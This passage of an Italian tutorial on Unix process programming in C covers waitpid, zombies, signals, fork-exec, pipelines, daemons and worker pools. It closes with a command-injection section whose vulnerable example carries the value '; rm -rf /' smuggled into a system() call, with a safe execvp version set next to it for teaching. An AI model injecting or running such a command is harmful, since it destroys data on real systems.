In shell interattive, WUNTRACED e WCONTINUED permettono di implementare job control:

while (1) {
    int status;
    pid_t pid = waitpid(-1, &status, WUNTRACED | WCONTINUED);
    
    if (pid < 0) {
        if (errno == ECHILD) {
            break;  // Nessun figlio rimanente
        }
        perror("waitpid");
        break;
    }
    
    printf("PID %d: ", pid);
    if (WIFEXITED(status)) {
        printf("exited with %d\n", WEXITSTATUS(status));
    } else if (WIFSIGNALED(status)) {
        printf("killed by signal %d\n", WTERMSIG(status));
    } else if (WIFSTOPPED(status)) {
        printf("stopped by signal %d\n", WSTOPSIG(status));
    } else if (WIFCONTINUED(status)) {
        printf("continued\n");
    }
}

5.7 Processi Zombie e Orfani

5.7.1 Processi Zombie

Quando un processo termina, non viene immediatamente rimosso dal sistema. Il kernel mantiene alcune informazioni (PID, codice di uscita, statistiche sull’uso delle risorse) finché il padre non invoca wait() o waitpid(). In questo stato intermedio, il processo è detto zombie (o defunto).

Uno zombie non consuma risorse significative (nessuna memoria, nessun tempo di CPU), ma occupa una entry nella tabella dei processi. Troppi zombie possono esaurire lo spazio disponibile per nuovi processi.

Identificazione: in ps, gli zombie sono marcati con stato Z o <defunct>.

$ ps aux | grep Z
user     12345  0.0  0.0      0     0 ?        Z    10:30   0:00 [defunct]

Prevenzione:

  1. Invocazione esplicita di wait(): il metodo standard.
while (1) {
    pid_t pid = waitpid(-1, NULL, WNOHANG);
    if (pid <= 0) break;
}
  1. Ignorare SIGCHLD: su alcuni sistemi, impostare SIGCHLD su SIG_IGN causa la rimozione automatica degli zombie.
signal(SIGCHLD, SIG_IGN);

Questo comportamento non è universalmente portabile (POSIX permette ma non richiede questa semantica).

  1. Handler di SIGCHLD: catturare il segnale e invocare wait().
void sigchld_handler(int sig) {
    while (waitpid(-1, NULL, WNOHANG) > 0) {
        // Raccolta di tutti i figli terminati
    }
}

int main() {
    struct sigaction sa;
    sa.sa_handler = sigchld_handler;
    sigemptyset(&sa.sa_mask);
    sa.sa_flags = SA_RESTART | SA_NOCLDSTOP;
    sigaction(SIGCHLD, &sa, NULL);
    
    // ... resto del codice ...
}

5.7.2 Processi Orfani

Se un padre termina prima dei suoi figli, questi ultimi diventano orfani. Il kernel riassegna automaticamente la paternità al processo init (PID 1), che periodicamente invoca wait() per raccogliere i processi terminati.

Questo meccanismo garantisce che:

Implicazioni: la riassegnazione a init avviene immediatamente, quindi getppid() restituirà 1 dopo la terminazione del padre originale.

pid_t pid = fork();

if (pid == 0) {
    // Figlio
    sleep(5);
    printf("PPID dopo sleep: %d\n", getppid());  // Probabilmente 1
} else {
    // Padre termina immediatamente
    exit(0);
}

5.8 Gestione dei Segnali e Interruzioni

5.8.1 Interruzione da Segnale

wait() e waitpid() sono system call bloccanti che possono essere interrotte da segnali. Quando ciò accade, ritornano -1 con errno impostato a EINTR.

Gestione robusta:

int status;
pid_t pid;

do {
    pid = waitpid(child_pid, &status, 0);
} while (pid == -1 && errno == EINTR);

if (pid == -1) {
    perror("waitpid");
} else {
    // Successo
}

5.8.2 Flag SA_RESTART

Il flag SA_RESTART in sigaction() causa il riavvio automatico di alcune system call interrotte. Tuttavia, il comportamento con wait() e waitpid() può variare tra sistemi.

5.9 Esempi Pratici

5.9.1 Attesa di Tutti i Figli

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

#define NUM_CHILDREN 5

int main() {
    int i;
    
    // Creazione dei figli
    for (i = 0; i < NUM_CHILDREN; i++) {
        pid_t pid = fork();
        
        if (pid == 0) {
            printf("Figlio %d (PID=%d) inizia\n", i, getpid());
            sleep(rand() % 5);
            exit(i);
        }
    }
    
    // Padre attende tutti i figli
    printf("Padre attende tutti i figli...\n");
    
    for (i = 0; i < NUM_CHILDREN; i++) {
        int status;
        pid_t pid = wait(&status);
        
        printf("Figlio PID=%d terminato", pid);
        if (WIFEXITED(status)) {
            printf(" con exit status %d", WEXITSTATUS(status));
        }
        printf("\n");
    }
    
    printf("Tutti i figli sono terminati\n");
    return 0;
}

5.9.2 Timeout su wait

Implementazione di un timeout usando WNOHANG e polling:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <time.h>

#define TIMEOUT_SECONDS 10

int wait_with_timeout(pid_t pid, int *status, int timeout) {
    time_t start = time(NULL);
    
    while (1) {
        pid_t result = waitpid(pid, status, WNOHANG);
        
        if (result == pid) {
            return 0;  // Successo
        } else if (result == -1) {
            return -1;  // Errore
        }
        
        // result == 0: figlio ancora in esecuzione
        if (time(NULL) - start >= timeout) {
            return -2;  // Timeout
        }
        
        usleep(100000);  // Sleep 100ms
    }
}

int main() {
    pid_t pid = fork();
    
    if (pid == 0) {
        sleep(15);  // Più lungo del timeout
        exit(0);
    } else {
        int status;
        int result = wait_with_timeout(pid, &status, TIMEOUT_SECONDS);
        
        if (result == 0) {
            printf("Figlio terminato in tempo\n");
        } else if (result == -2) {
            printf("Timeout! Termino il figlio...\n");
            kill(pid, SIGKILL);
            waitpid(pid, &status, 0);
        } else {
            perror("wait");
        }
    }
    
    return 0;
}

5.9.3 Gestione Asincrona con Signal Handler

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>

volatile sig_atomic_t child_terminated = 0;

void sigchld_handler(int sig) {
    int saved_errno = errno;
    
    while (waitpid(-1, NULL, WNOHANG) > 0) {
        child_terminated++;
    }
    
    errno = saved_errno;
}

int main() {
    struct sigaction sa;
    sa.sa_handler = sigchld_handler;
    sigemptyset(&sa.sa_mask);
    sa.sa_flags = SA_RESTART;
    sigaction(SIGCHLD, &sa, NULL);
    
    // Crea alcuni figli
    for (int i = 0; i < 3; i++) {
        if (fork() == 0) {
            sleep(i + 1);
            exit(0);
        }
    }
    
    // Padre fa altro lavoro
    printf("Padre: faccio altro lavoro...\n");
    while (child_terminated < 3) {
        printf("Terminati: %d/3\n", child_terminated);
        sleep(1);
    }
    
    printf("Tutti i figli sono terminati\n");
    return 0;
}

6. Pattern di Programmazione Avanzati

6.1 Fork-Exec Pattern

Il pattern fork-exec è fondamentale nell’architettura Unix: separa la creazione di un nuovo processo (fork) dalla specifica di cosa deve eseguire (exec). Questo consente grande flessibilità.

6.1.1 Template Standard

Il template fork-exec rappresenta lo schema idiomatico fondamentale per l’esecuzione di programmi esterni in Unix. Questo pattern sfrutta la separazione concettuale tra la creazione di un nuovo contesto di esecuzione (fork) e il caricamento del codice da eseguire (exec), permettendo di preparare l’ambiente del processo figlio prima della trasformazione. Il template è particolarmente potente perché consente di configurare l’ambiente di esecuzione (redirezione I/O, chiusura di file descriptor, modifica di variabili d’ambiente) nel processo figlio prima che questo venga trasformato nell’eseguibile target, garantendo che il nuovo programma inizi l’esecuzione in uno stato completamente controllato e predicibile. Nel processo padre, la chiamata a waitpid() garantisce la sincronizzazione, permettendo di recuperare lo stato di terminazione e di evitare la creazione di processi zombie.

pid_t pid = fork();

if (pid < 0) {
    perror("fork");
    exit(EXIT_FAILURE);
} else if (pid == 0) {
    // Figlio: preparazione ambiente
    // - Redirezione I/O
    // - Chiusura descriptor inutilizzati
    // - Impostazione variabili ambiente
    
    execvp(program, args);
    
    // Se arriviamo qui, exec è fallita
    perror("exec");
    exit(EXIT_FAILURE);
} else {
    // Padre: continua o attende
    int status;
    waitpid(pid, &status, 0);
    // Elaborazione del risultato
}

Analisi dettagliata del codice:

  1. Invocazione della fork (pid_t pid = fork();): viene creato un nuovo processo figlio. La variabile pid assumerà valori diversi nei due processi: 0 nel figlio, il PID del figlio nel padre, oppure -1 in caso di errore.

  2. Gestione dell’errore (if (pid < 0)): se la fork fallisce (risorse insufficienti, limiti di sistema raggiunti), il programma stampa un messaggio d’errore descrittivo tramite perror() e termina con EXIT_FAILURE. È fondamentale gestire questo caso per evitare comportamenti indefiniti.

  3. Codice del processo figlio (else if (pid == 0)): in questo blocco, eseguito solo dal processo figlio, avviene la preparazione dell’ambiente di esecuzione. Tipicamente si includono operazioni quali la redirezione dei file descriptor (stdin, stdout, stderr verso file o pipe), la chiusura di descriptor ereditati dal padre ma non necessari, e l’impostazione di variabili d’ambiente specifiche.

  4. Invocazione della exec (execvp(program, args);): questa chiamata sostituisce l’immagine del processo corrente con il programma specificato. Se ha successo, il controllo non torna mai a questo punto, poiché il codice del processo è stato completamente rimpiazzato.

  5. Gestione del fallimento di exec: il codice successivo alla execvp() viene eseguito solo se la exec fallisce. In tal caso, si stampa un messaggio d’errore e si termina il processo figlio con exit(EXIT_FAILURE) per evitare che continui ad eseguire codice del padre.

  6. Codice del processo padre (else): il padre, identificato dal fatto che pid contiene il PID del figlio, procede tipicamente ad attendere la terminazione del figlio tramite waitpid(), che blocca il padre fino al completamento dell’esecuzione del figlio.

  7. Recupero dello stato (waitpid(pid, &status, 0);): la chiamata bloccante permette di recuperare informazioni sulla terminazione del figlio nella variabile status, che può poi essere analizzata tramite le macro WIFEXITED, WEXITSTATUS, ecc., per determinare se il processo è terminato normalmente o a causa di un segnale.

6.1.2 Implementazione di system()

La funzione di libreria system() rappresenta un’astrazione di alto livello del pattern fork-exec, permettendo l’esecuzione di comandi shell in modo semplificato. La funzione accetta una stringa contenente un comando completo (che può includere pipe, redirezioni e altri operatori shell) e lo esegue tramite /bin/sh, restituendo lo stato di terminazione. L’implementazione che segue illustra i meccanismi interni di questa funzione, evidenziando come gestisce la creazione del processo, l’invocazione della shell, e la sincronizzazione con gestione robusta delle interruzioni. Un aspetto critico è l’uso di _exit() invece di exit() nel processo figlio, per evitare che i buffer di I/O e altri handler di terminazione vengano eseguiti due volte (una nel figlio, una nel padre). La gestione del ciclo di attesa con retry su EINTR garantisce che la funzione sia robusta rispetto alle interruzioni da segnali.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

int my_system(const char *command) {
    pid_t pid;
    int status;
    
    if (command == NULL) {
        return 1;  // Shell disponibile
    }
    
    pid = fork();
    
    if (pid < 0) {
        return -1;
    } else if (pid == 0) {
        // Esegui comando tramite shell
        execl("/bin/sh", "sh", "-c", command, (char *) NULL);
        _exit(127);  // Usa _exit() nel figlio
    } else {
        // Attendi terminazione
        do {
            if (waitpid(pid, &status, 0) == -1) {
                if (errno != EINTR) {
                    return -1;
                }
            } else {
                return status;
            }
        } while (1);
    }
}

Analisi dettagliata del codice:

  1. Validazione dell’input (if (command == NULL)): se il comando è NULL, la funzione restituisce 1 per indicare che una shell è disponibile sul sistema. Questo è un comportamento standard di system() documentato in POSIX.

  2. Creazione del processo figlio (pid = fork();): viene creato un nuovo processo per eseguire il comando. La gestione del valore di ritorno permette di distinguere tra errore, processo figlio e processo padre.

  3. Gestione dell’errore di fork (if (pid < 0)): se la fork fallisce, la funzione ritorna immediatamente -1 per segnalare l’errore al chiamante, senza tentare l’esecuzione del comando.

  4. Esecuzione nel figlio (else if (pid == 0)): il processo figlio invoca la shell /bin/sh con l’opzione -c seguita dal comando da eseguire. L’uso di execl() permette di passare gli argomenti come lista terminata da NULL.

  5. Uso di _exit() invece di exit(): se execl() fallisce, il figlio chiama _exit(127) invece di exit(). La funzione _exit() termina il processo immediatamente senza eseguire le funzioni registrate con atexit() né svuotare i buffer di I/O, evitando duplicazioni di cleanup che potrebbero corrompere lo stato del padre. Il codice 127 è convenzionalmente usato per indicare “comando non trovato”.

  6. Ciclo di attesa con retry (do { ... } while (1);): il padre entra in un ciclo infinito che terminerà solo quando waitpid() avrà successo o fallirà con un errore diverso da EINTR.

  7. Gestione di EINTR (if (errno != EINTR)): se waitpid() viene interrotta da un segnale, errno sarà impostato a EINTR. In questo caso, il ciclo continua e waitpid() viene richiamata. Solo errori diversi da interruzioni causano il ritorno di -1.

  8. Restituzione dello status (return status;): quando waitpid() ha successo, la funzione ritorna il valore di status grezzo, che può essere analizzato dal chiamante tramite le macro WIFEXITED, WEXITSTATUS, ecc.

6.2 Creazione di Pipeline

Le pipeline shell (es. ls | grep txt | wc -l) sono implementate usando fork(), exec() e pipe(). La pipe rappresenta un canale di comunicazione unidirezionale tra processi, costituito da due file descriptor: uno per la scrittura (pipefd[1]) e uno per la lettura (pipefd[0]). L’implementazione di una pipeline richiede una coreografia precisa: la pipe deve essere creata prima delle fork, in modo che entrambi i processi figli ereditino gli stessi file descriptor; ciascun processo deve poi chiudere l’estremità della pipe che non utilizza per evitare deadlock e permettere la corretta propagazione dell’EOF; infine, il processo padre deve chiudere entrambe le estremità se non partecipa alla comunicazione. La redirezione dell’I/O viene ottenuta tramite dup2(), che duplica un file descriptor su un numero predefinito (STDIN_FILENO o STDOUT_FILENO), sostituendo efficacemente l’input o l’output standard del processo. Questa tecnica permette ai programmi di comunicare trasparentemente attraverso la pipe senza modificare il loro codice sorgente.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

int main() {
    int pipefd[2];
    pid_t pid1, pid2;
    
    // Crea la pipe
    if (pipe(pipefd) == -1) {
        perror("pipe");
        exit(EXIT_FAILURE);
    }
    
    // Primo processo: ls
    pid1 = fork();
    if (pid1 == 0) {
        // Redirigi stdout sulla pipe
        close(pipefd[0]);  // Chiudi estremità di lettura
        dup2(pipefd[1], STDOUT_FILENO);
        close(pipefd[1]);
        
        execlp("ls", "ls", "-l", (char *) NULL);
        perror("exec ls");
        exit(EXIT_FAILURE);
    }
    
    // Secondo processo: grep
    pid2 = fork();
    if (pid2 == 0) {
        // Redirigi stdin dalla pipe
        close(pipefd[1]);  // Chiudi estremità di scrittura
        dup2(pipefd[0], STDIN_FILENO);
        close(pipefd[0]);
        
        execlp("grep", "grep", "txt", (char *) NULL);
        perror("exec grep");
        exit(EXIT_FAILURE);
    }
    
    // Padre: chiude entrambe le estremità della pipe
    close(pipefd[0]);
    close(pipefd[1]);
    
    // Attende entrambi i figli
    waitpid(pid1, NULL, 0);
    waitpid(pid2, NULL, 0);
    
    return 0;
}

Analisi dettagliata del codice:

  1. Creazione della pipe (pipe(pipefd)): alloca due file descriptor connessi: pipefd[0] per la lettura e pipefd[1] per la scrittura. I dati scritti su pipefd[1] possono essere letti da pipefd[0]. Se la creazione fallisce (memoria insufficiente, limite di descriptor raggiunto), la funzione ritorna -1 e il programma termina con un messaggio d’errore.

  2. Creazione del primo processo (pid1 = fork();): viene creato il primo figlio che eseguirà ls. Questo processo eredita una copia dei file descriptor della pipe dal padre.

  3. Redirezione dell’output nel primo figlio:

  4. Esecuzione di ls (execlp("ls", "ls", "-l", (char *) NULL);): sostituisce il processo con il comando ls -l. L’output di ls viene automaticamente scritto sulla pipe grazie alla redirezione precedente.

  5. Creazione del secondo processo (pid2 = fork();): analogamente al primo figlio, viene creato il processo che eseguirà grep, ereditando anch’esso i file descriptor della pipe.

  6. Redirezione dell’input nel secondo figlio:

  7. Esecuzione di grep (execlp("grep", "grep", "txt", (char *) NULL);): sostituisce il processo con il comando grep txt. L’input di grep proviene dalla pipe, filtrando le linee prodotte da ls.

  8. Chiusura della pipe nel padre: il padre chiude entrambe le estremità (close(pipefd[0]) e close(pipefd[1])) perché non partecipa alla comunicazione. Questa chiusura è essenziale: se il padre mantenesse aperta l’estremità di scrittura, grep non riceverebbe mai EOF anche dopo la terminazione di ls.

  9. Sincronizzazione (waitpid(pid1, NULL, 0); waitpid(pid2, NULL, 0);): il padre attende la terminazione di entrambi i figli. L’ordine delle waitpid() non è critico; entrambe possono bloccare fino al completamento dei rispettivi processi.

Principi chiave:

  1. La pipe deve essere creata prima delle fork
  2. Ogni processo deve chiudere le estremità della pipe che non usa
  3. Il padre deve chiudere entrambe le estremità se non partecipa alla comunicazione

6.3 Daemon Process

I daemon sono processi in background che eseguono servizi di sistema. La loro creazione richiede una sequenza specifica di operazioni per garantire il completo distacco dal terminale di controllo, l’indipendenza dalla sessione dell’utente e la capacità di operare in modo autonomo anche dopo la disconnessione dell’utente. Il processo di “daemonizzazione” coinvolge una doppia fork: la prima stacca il processo dal padre originale, mentre la seconda (opzionale ma fortemente raccomandata) previene che il daemon possa acquisire accidentalmente un terminale di controllo in futuro. La chiamata setsid() crea una nuova sessione e rende il processo il session leader, eliminando qualsiasi associazione con terminali preesistenti. La chiusura di tutti i file descriptor ereditati e la redirezione di stdin/stdout/stderr verso /dev/null garantiscono che il daemon non interferisca con terminali o shell. Il cambio della directory corrente a root (/) previene che il daemon mantenga bloccati filesystem che potrebbero dover essere smontati. Questa sequenza standardizzata assicura che il daemon operi in modo pulito, prevedibile e senza dipendenze dall’ambiente di avvio.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>

void become_daemon() {
    pid_t pid;
    
    // 1. Fork e terminazione del padre
    pid = fork();
    if (pid < 0) {
        exit(EXIT_FAILURE);
    }
    if (pid > 0) {
        exit(EXIT_SUCCESS);  // Padre termina
    }
    
    // 2. Crea nuova sessione (diventa session leader)
    if (setsid() < 0) {
        exit(EXIT_FAILURE);
    }
    
    // 3. Ignora SIGHUP
    signal(SIGHUP, SIG_IGN);
    
    // 4. Seconda fork (opzionale ma raccomandata)
    // Previene acquisizione di terminal di controllo
    pid = fork();
    if (pid < 0) {
        exit(EXIT_FAILURE);
    }
    if (pid > 0) {
        exit(EXIT_SUCCESS);
    }
    
    // 5. Cambia directory di lavoro a root
    if (chdir("/") < 0) {
        exit(EXIT_FAILURE);
    }
    
    // 6. Chiudi tutti i file descriptor aperti
    for (int fd = 0; fd < sysconf(_SC_OPEN_MAX); fd++) {
        close(fd);
    }
    
    // 7. Redirigi stdin, stdout, stderr a /dev/null
    int fd0 = open("/dev/null", O_RDWR);
    int fd1 = dup(fd0);
    int fd2 = dup(fd0);
    
    // 8. Apri syslog per logging
    // openlog("mydaemon", LOG_PID, LOG_DAEMON);
    
    // Ora il daemon può iniziare il suo lavoro
}

int main() {
    become_daemon();
    
    // Ciclo principale del daemon
    while (1) {
        // Lavoro del daemon
        sleep(30);
    }
    
    return 0;
}

Analisi dettagliata del codice:

  1. Prima fork (fork() seguito da terminazione del padre): questa fork crea un processo figlio che continuerà come daemon, mentre il padre termina immediatamente. Questo ha due effetti: (a) il processo originale ritorna al terminale o alla shell che lo ha invocato, permettendo all’utente di continuare a lavorare, e (b) il figlio, non essendo più il process group leader, può chiamare setsid() con successo.

  2. Creazione di una nuova sessione (setsid()): questa chiamata esegue tre operazioni atomiche: (a) crea una nuova sessione di cui il processo diventa leader, (b) crea un nuovo process group di cui il processo diventa leader, e © distacca il processo da qualsiasi terminale di controllo. Dopo setsid(), il processo non ha più un terminale associato.

  3. Ignorare SIGHUP (signal(SIGHUP, SIG_IGN)): quando un session leader termina, il kernel invia SIGHUP ai processi della sessione. Ignorando questo segnale, si previene una terminazione accidentale quando il terminale viene chiuso. Questo è particolarmente importante prima della seconda fork.

  4. Seconda fork: questa fork addizionale garantisce che il daemon non sia più un session leader. Solo i session leader possono acquisire un terminale di controllo; rinunciando a questo ruolo, si assicura che il daemon non possa mai ottenere accidentalmente un terminale, anche se apre un device terminale in futuro. Il processo genitore (risultato della prima fork) termina, e il nipote del processo originale continua.

  5. Cambio directory (chdir("/")): modificando la directory corrente alla root, si previene che il daemon mantenga un riferimento a directory di lavoro potenzialmente montate su filesystem rimovibili o che potrebbero dover essere smontati. Senza questo passaggio, il filesystem contenente la directory di lavoro non potrebbe essere smontato finché il daemon è attivo.

  6. Chiusura di tutti i file descriptor: il ciclo chiude tutti i descriptor aperti, da 0 fino al massimo di sistema (ottenuto tramite sysconf(_SC_OPEN_MAX)). Questo elimina qualsiasi file, socket, o pipe ereditato dal processo originale, prevenendo leak di risorse e comportamenti inattesi. Su sistemi con molti descriptor, si può ottimizzare usando /proc/self/fd o getrlimit(RLIMIT_NOFILE).

  7. Redirezione dell’I/O standard:

  8. Apertura del syslog (commentata): per daemon di produzione, si apre una connessione al syslog daemon per registrare eventi, errori e informazioni diagnostiche. La funzione openlog() configura il tag del processo, le opzioni di logging e la facility.

  9. Ciclo principale (while (1)): una volta completata la daemonizzazione, il processo entra nel suo ciclo principale dove esegue il lavoro previsto (gestione di richieste, monitoraggio, elaborazioni periodiche, ecc.). Il sleep(30) è qui solo illustrativo; un daemon reale userebbe select, poll, epoll o altri meccanismi per gestire eventi in modo efficiente.

6.4 Pool di Processi Worker

Il pattern del pool di processi worker rappresenta una strategia efficace per la gestione di carichi di lavoro parallelizzabili, dove molteplici task indipendenti possono essere eseguiti concorrentemente per massimizzare l’utilizzo delle risorse di sistema. Invece di creare un nuovo processo per ciascun task on-demand (approccio che comporta overhead significativo per fork ripetute), il pool precrea un numero fisso di processi worker che rimangono attivi per tutta la durata dell’applicazione. In questo esempio semplificato, ogni worker esegue una sequenza predefinita di task, ma in implementazioni reali i worker tipicamente leggerebbero task da una coda condivisa (implementata tramite pipe, code di messaggi, o memoria condivisa con semafori) o gestirebbero connessioni da un socket condiviso. Il processo principale mantiene traccia dei PID di tutti i worker e attende la loro terminazione, permettendo di raccogliere statistiche sull’esecuzione e di gestire eventuali fallimenti individuali senza compromettere l’intero sistema.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

#define NUM_WORKERS 4

void worker_process(int worker_id) {
    printf("Worker %d (PID=%d) inizia\n", worker_id, getpid());
    
    // Simula lavoro
    for (int i = 0; i < 5; i++) {
        printf("Worker %d: task %d\n", worker_id, i);
        sleep(1);
    }
    
    printf("Worker %d termina\n", worker_id);
    exit(worker_id);
}

int main() {
    pid_t workers[NUM_WORKERS];
    
    // Crea pool di worker
    for (int i = 0; i < NUM_WORKERS; i++) {
        workers[i] = fork();
        
        if (workers[i] < 0) {
            perror("fork");
            exit(EXIT_FAILURE);
        } else if (workers[i] == 0) {
            worker_process(i);
            // worker_process termina con exit(), non ritorna
        }
    }
    
    // Processo principale: monitora i worker
    printf("Pool di %d worker creato\n", NUM_WORKERS);
    
    int active_workers = NUM_WORKERS;
    while (active_workers > 0) {
        int status;
        pid_t pid = wait(&status);
        
        if (pid > 0) {
            active_workers--;
            printf("Worker PID=%d terminato (%d rimanenti)\n", 
                   pid, active_workers);
            
            if (WIFEXITED(status)) {
                printf("  Exit status: %d\n", WEXITSTATUS(status));
            }
        }
    }
    
    printf("Tutti i worker sono terminati\n");
    return 0;
}

Analisi dettagliata del codice:

  1. Definizione del numero di worker (#define NUM_WORKERS 4): il numero di worker è tipicamente dimensionato in base al numero di core disponibili sul sistema o al livello di parallelismo desiderato. In applicazioni reali, questo valore potrebbe essere configurabile o determinato dinamicamente tramite sysconf(_SC_NPROCESSORS_ONLN).

  2. Array di tracking dei PID (pid_t workers[NUM_WORKERS]): mantiene i PID di tutti i worker creati, permettendo al processo principale di identificare quale worker specifico ha terminato quando riceve notifiche tramite wait().

  3. Ciclo di creazione (for (int i = 0; i < NUM_WORKERS; i++)): crea sequenzialmente i worker. Ogni iterazione del ciclo invoca fork(), e solo il processo padre continua al prossimo ciclo; i figli escono immediatamente dal loop chiamando worker_process() che termina con exit().

  4. Gestione errori di fork (if (workers[i] < 0)): se la creazione di un worker fallisce (ad esempio per esaurimento delle risorse), il programma stampa un errore e termina. In implementazioni production-grade, si potrebbe gestire questo scenario in modo più sofisticato, ad esempio continuando con meno worker o implementando retry con backoff.

  5. Esecuzione del worker (else if (workers[i] == 0)): il processo figlio invoca worker_process(i), passando l’indice come identificatore. Questa funzione non ritorna mai perché termina con exit(), quindi il codice dopo la chiamata nel figlio è irraggiungibile.

  6. Funzione worker_process: rappresenta il ciclo di vita di un worker:

  7. Monitoraggio nel processo principale: dopo aver creato tutti i worker, il padre entra in una fase di monitoraggio. Inizializza un contatore active_workers e entra in un loop che terminerà solo quando tutti i worker sono completati.

  8. Attesa non selettiva (wait(&status)): raccoglie qualsiasi worker che termina, senza specificare quale. Questo approccio è appropriato quando l’ordine di terminazione non è importante. Per gestione più fine-grained, si userebbe waitpid() con PID specifici.

  9. Analisi dello status di terminazione:

  10. Completamento: quando active_workers raggiunge zero, il loop termina e il processo principale stampa un messaggio finale prima di uscire. In un server reale, il processo principale potrebbe decidere di ricreare worker terminati (pattern di supervisione) o gestire shutdown graceful.

6.5 Gestione Concorrente delle Richieste

Il pattern di gestione concorrente delle richieste è tipicamente impiegato in server che devono gestire connessioni multiple simultaneamente, dove ciascuna connessione richiede elaborazione indipendente e potenzialmente lunga. L’approccio “un processo per richiesta” (process-per-request) crea un nuovo processo figlio dedicato per gestire ciascuna connessione in arrivo, permettendo elaborazione parallela senza bloccare l’accettazione di nuove richieste. Questo modello è particolarmente efficace quando: (a) le richieste hanno tempi di elaborazione lunghi o variabili, (b) l’isolamento tra richieste è critico per sicurezza o stabilità, © il carico non è così elevato da saturare il sistema con troppe fork. Una componente cruciale di questo pattern è la gestione automatica dei processi zombie tramite un signal handler per SIGCHLD, che raccoglie asincronamente i figli terminati senza bloccare il processo principale. Questo approccio garantisce che il server possa continuare ad accettare nuove richieste mentre altre sono ancora in elaborazione, e che non accumuli processi zombie che potrebbero esaurire le risorse di sistema.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>

void handle_client(int client_id) {
    printf("Handler %d: gestisco client\n", client_id);
    sleep(2);  // Simula elaborazione
    printf("Handler %d: completato\n", client_id);
    exit(0);
}

void sigchld_handler(int sig) {
    // Raccoglie processi zombie
    while (waitpid(-1, NULL, WNOHANG) > 0);
}

int main() {
    // Installa handler per SIGCHLD
    struct sigaction sa;
    sa.sa_handler = sigchld_handler;
    sigemptyset(&sa.sa_mask);
    sa.sa_flags = SA_RESTART;
    sigaction(SIGCHLD, &sa, NULL);
    
    printf("Server in attesa di richieste...\n");
    
    // Simula arrivo di client
    for (int i = 0; i < 10; i++) {
        sleep(1);  // Simula intervallo tra richieste
        
        pid_t pid = fork();
        if (pid < 0) {
            perror("fork");
            continue;
        } else if (pid == 0) {
            handle_client(i);
            // Non raggiunto
        }
        
        printf("Server: spawned handler per client %d (PID=%d)\n", i, pid);
    }
    
    // Attendi completamento di tutti gli handler
    printf("Server: attendo terminazione handler...\n");
    sleep(5);
    
    return 0;
}

Analisi dettagliata del codice:

  1. Funzione handle_client: rappresenta il codice che gestisce una singola richiesta client. Riceve un identificatore del client e simula elaborazione con sleep(2). In un server reale, questa funzione conterrebbe:

  2. Signal handler per SIGCHLD (sigchld_handler): questa funzione viene invocata automaticamente dal kernel quando un processo figlio termina. Il segnale SIGCHLD è asincrono e può arrivare in qualsiasi momento durante l’esecuzione del padre.

  3. Loop di raccolta zombie (while (waitpid(-1, NULL, WNOHANG) > 0);):

  4. Configurazione della struct sigaction:

  5. Installazione dell’handler (sigaction(SIGCHLD, &sa, NULL);): registra l’handler presso il kernel. Da questo punto in poi, ogni terminazione di processo figlio causerà l’invocazione di sigchld_handler.

  6. Loop di accettazione richieste (for (int i = 0; i < 10; i++)): simula l’arrivo di 10 richieste client. In un server reale, questo sarebbe un loop infinito che invoca accept() su un socket in ascolto, bloccandosi in attesa di nuove connessioni.

  7. Simulazione intervallo tra richieste (sleep(1)): introduce un ritardo artificiale per simulare l’arrivo non simultaneo di richieste. In un server reale, l’intervallo è determinato naturalmente dalla frequenza di arrivo delle connessioni.

  8. Creazione del processo handler (fork()): per ogni richiesta, viene creato un nuovo processo dedicato.

  9. Gestione errore di fork (if (pid < 0)): se la fork fallisce (sistema sovraccarico, limiti raggiunti), viene stampato un errore ma il server continua con continue, permettendo di accettare la prossima richiesta. In un server production, si potrebbe implementare backpressure, rifiutando temporaneamente connessioni se il sistema è sotto stress.

  10. Esecuzione dell’handler nel figlio (else if (pid == 0)): il processo figlio invoca handle_client(i), che non ritorna mai. Ogni handler opera indipendentemente in uno spazio di indirizzamento separato, garantendo isolamento tra richieste.

  11. Logging nel padre: il padre stampa un messaggio indicando la creazione dell’handler e il suo PID. Questo è utile per debugging e monitoraggio. In sistemi di produzione, si userebbe un sistema di logging strutturato.

  12. Attesa finale (sleep(5)): dopo aver spawned tutti gli handler, il padre attende qualche secondo per permettere il completamento delle richieste. In un server reale, il padre entrerebbe in un ciclo infinito continuando ad accettare connessioni, o implementerebbe uno shutdown graceful che attende tutti gli handler attivi prima di terminare.


7. Considerazioni su Sicurezza e Performance

7.1 Implicazioni di Sicurezza

7.1.1 Validazione degli Input per exec

L’esecuzione di programmi esterni rappresenta uno dei vettori di attacco più critici nelle applicazioni che processano input utente. Quando parametri non validati vengono passati direttamente alla shell tramite system() o funzioni simili, si crea una vulnerabilità di command injection che può permettere a un attaccante di eseguire comandi arbitrari con i privilegi del processo. La differenza fondamentale tra l’approccio vulnerabile e quello sicuro risiede nella separazione degli argomenti: l’uso di system() con concatenazione di stringhe passa tutto alla shell che interpreta caratteri speciali (;, |, &, $, ecc.), mentre l’uso di execvp() con array di argomenti passa i parametri direttamente al programma eseguito senza interpretazione shell, eliminando la possibilità di injection. Questa distinzione è cruciale: anche input apparentemente innocui possono contenere sequenze che, interpretate dalla shell, causano esecuzione di codice malevolo.

// VULNERABILE a command injection
char command[256];
sprintf(command, "cat %s", user_input);
system(command);  // Se user_input = "; rm -rf /", disastro!

// SICURO: usa execvp con array di argomenti
char *args[] = {"cat", user_input, NULL};
if (fork() == 0) {
    execvp("cat", args);
    exit(EXIT_FAILURE);
}

Analisi dettagliata del codice:

Esempio vulnerabile:

  1. Concatenazione di stringhe (sprintf(command, "cat %s", user_input);): costruisce un comando shell concatenando letteralmente l’input utente. Questo è il punto critico della vulnerabilità: se user_input contiene caratteri speciali interpretati dalla shell, questi vengono eseguiti.

  2. Esecuzione tramite system() (system(command);): passa l’intera stringa a /bin/sh -c, che la interpreta come comando shell completo. La shell processa sequenze come ; (separatore di comandi), | (pipe), && (esecuzione condizionale), backtick o $() (command substitution), permettendo injection.

